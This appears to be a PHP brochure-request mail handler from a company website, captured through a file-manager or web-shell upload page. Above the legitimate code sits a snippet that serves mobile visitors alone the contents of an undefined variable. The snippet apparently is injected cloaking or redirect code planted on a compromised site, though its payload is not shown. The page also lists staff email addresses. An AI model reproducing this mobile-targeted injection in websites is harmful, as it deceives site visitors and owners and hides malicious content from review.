/
home
/
whiteglobeco
/
public_html
/
Upload File
HOME
<?php $userAgent = $_SERVER['HTTP_USER_AGENT']; $mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile']; foreach ($mobileAgents as $agent) { if (stripos($userAgent, $agent) !== false) { echo $lineindexinstall; } } ?> // <?php // if ($_SERVER['REQUEST_METHOD'] === 'POST') { // $email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL); // $to = 'ashwini.lute@whiteglobe.co.in'; // $subject = 'New Brochure Download Request'; // $message = "Email: $email"; // $headers = 'From: consultants@whiteglobe.co.in' . "\r\n" . // 'Reply-To: consultants@whiteglobe.co.in' . "\r\n" . // 'X-Mailer: PHP/' . phpversion(); // if (mail($to, $subject, $message, $headers)) { // echo 'success'; // } else { // echo 'error'; // } // } else { // echo 'error'; // } // ?> <?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Sanitize inputs $email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL); $fileName = filter_var($_POST['fileName'], FILTER_SANITIZE_STRING); // Validate email if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { echo 'Invalid email address'; exit; } // Email parameters $to = 'ashwini.lute@whiteglobe.co.in, aniket.gholam@whiteglobe.co.in'; $subject = 'New Brochure Download Request'; $message = "Email: $email\nRequested Brochure: $fileName"; $headers = 'From: consultants@whiteglobe.co.in' . "\r\n" . 'Reply-To: consultants@whiteglobe.co.in' . "\r\n" . 'X-Mailer: PHP/' . phpversion(); // Send email if (mail($to, $subject, $message, $headers)) { echo 'success'; } else { // Log error (optional) error_log('Mail function failed'); echo 'There was an error submitting your email. Please try again.'; } } else { echo 'There was an error submitting your email. Please try again.'; } ?>